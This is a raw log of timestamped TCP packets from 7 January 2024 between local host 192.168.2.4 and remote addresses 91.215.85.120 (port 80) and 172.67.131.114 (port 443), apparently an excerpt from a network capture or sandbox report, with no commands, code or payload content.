Jan 7, 2024 05:29:46.938028097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:46.938133001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:46.984774113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:46.984797001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:46.984867096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.292064905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.292107105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.485742092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.501848936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.591053963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.680054903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.680131912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.874455929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.894751072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.894798040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.894874096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.894881964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.894999981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895075083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895088911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895116091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.895143032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.895169973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895220995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895263910 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.895275116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895369053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895441055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895445108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.895484924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895571947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895606041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:47.895648956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:47.895684004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.089111090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089152098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089194059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089222908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.089303017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089361906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089404106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.089457989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089585066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089627981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.089644909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089683056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.089768887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089818001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089945078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.089984894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090092897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090137005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090162992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090271950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090332031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090374947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090415955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090456963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090543985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090584993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090642929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090683937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090728045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090740919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090770960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090851068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.090890884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.090959072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.091048002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.091142893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.282931089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.282993078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283046961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.283274889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283354044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283400059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.283433914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283521891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283561945 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.283632040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283741951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283785105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.283826113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283926964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.283993959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284013033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284068108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284102917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284143925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284250021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284286022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284446955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284543991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284584045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284626961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284730911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284771919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284831047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284900904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.284938097 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.284972906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285052061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285089016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.285118103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285187006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285224915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.285257101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285372972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285408020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.285474062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285561085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.285603046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.476757050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.476775885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.476833105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.476876974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.476928949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.476977110 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.477035046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477077961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477113962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.477443933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477523088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477551937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477571011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.477575064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477618933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.477648973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477678061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477715015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.477973938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.477988958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478028059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478209019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478303909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478375912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478394985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478462934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478503942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478646040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478667974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478682041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478708029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478730917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478775024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478807926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478887081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478900909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.478928089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.478979111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.479022026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.479151964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.479197025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.479240894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.671639919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671674967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671694040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671739101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.671762943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671816111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.671854973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671924114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.671963930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.672509909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.672619104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.672657967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.672703981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.672777891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.672830105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.672894955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.672983885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673022985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.673234940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673268080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673307896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.673348904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673480034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673521996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.673825979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673940897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.673981905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.674065113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674252033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674293041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.674336910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674382925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674421072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.674488068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674590111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674631119 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.674755096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674798012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.674838066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.674913883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.675035954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.675077915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.865751982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.865814924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.865865946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.865904093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.865981102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866028070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.866074085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866153002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866194010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.866555929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866580963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866621017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.866647005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866709948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866748095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.866782904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866904020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.866955042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.867130041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.867187977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.867228985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.867389917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.867476940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.867522001 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.868134975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868230104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868273020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.868297100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868731022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868778944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.868799925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868881941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.868926048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.868952036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869086981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869153976 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.869160891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869290113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869332075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:48.869384050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869571924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:48.869628906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.025171041 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.025228977 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.025294065 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.048749924 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.048790932 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.059839964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.059956074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060002089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060091972 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060312986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060368061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060532093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060544968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060602903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060611010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060658932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060695887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060707092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060755014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060791016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060795069 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060833931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.060884953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.060928106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.061037064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.061077118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.061410904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.061553001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.061604977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.061908960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.062009096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.062050104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.063765049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063780069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063832045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.063843966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063862085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063874006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063886881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063900948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.063901901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063915014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063926935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.063945055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.063950062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.063962936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.064002991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.241082907 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.241157055 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.246468067 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.246489048 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.246763945 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.254698992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.254806995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.254857063 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.255028009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255084038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255225897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255266905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.255613089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255711079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.255754948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255857944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.255975962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256012917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.256073952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256108046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.256166935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256251097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256329060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256364107 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.256431103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256515980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.256525993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256625891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256692886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256731987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.256777048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.256824017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.258552074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.258568048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.258609056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.258725882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.258850098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.258903980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.258943081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.258991957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.259059906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.259097099 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.259339094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.259392977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.259397984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.259453058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.259488106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.391083002 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.391127110 CET	49738	443	192.168.2.4	172.67.131.114
Jan 7, 2024 05:29:49.391267061 CET	443	49738	172.67.131.114	192.168.2.4
Jan 7, 2024 05:29:49.448986053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449091911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449179888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:49.449280024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:49.449372053 CET	80	49735	91.215.85.120	192.168.2.4
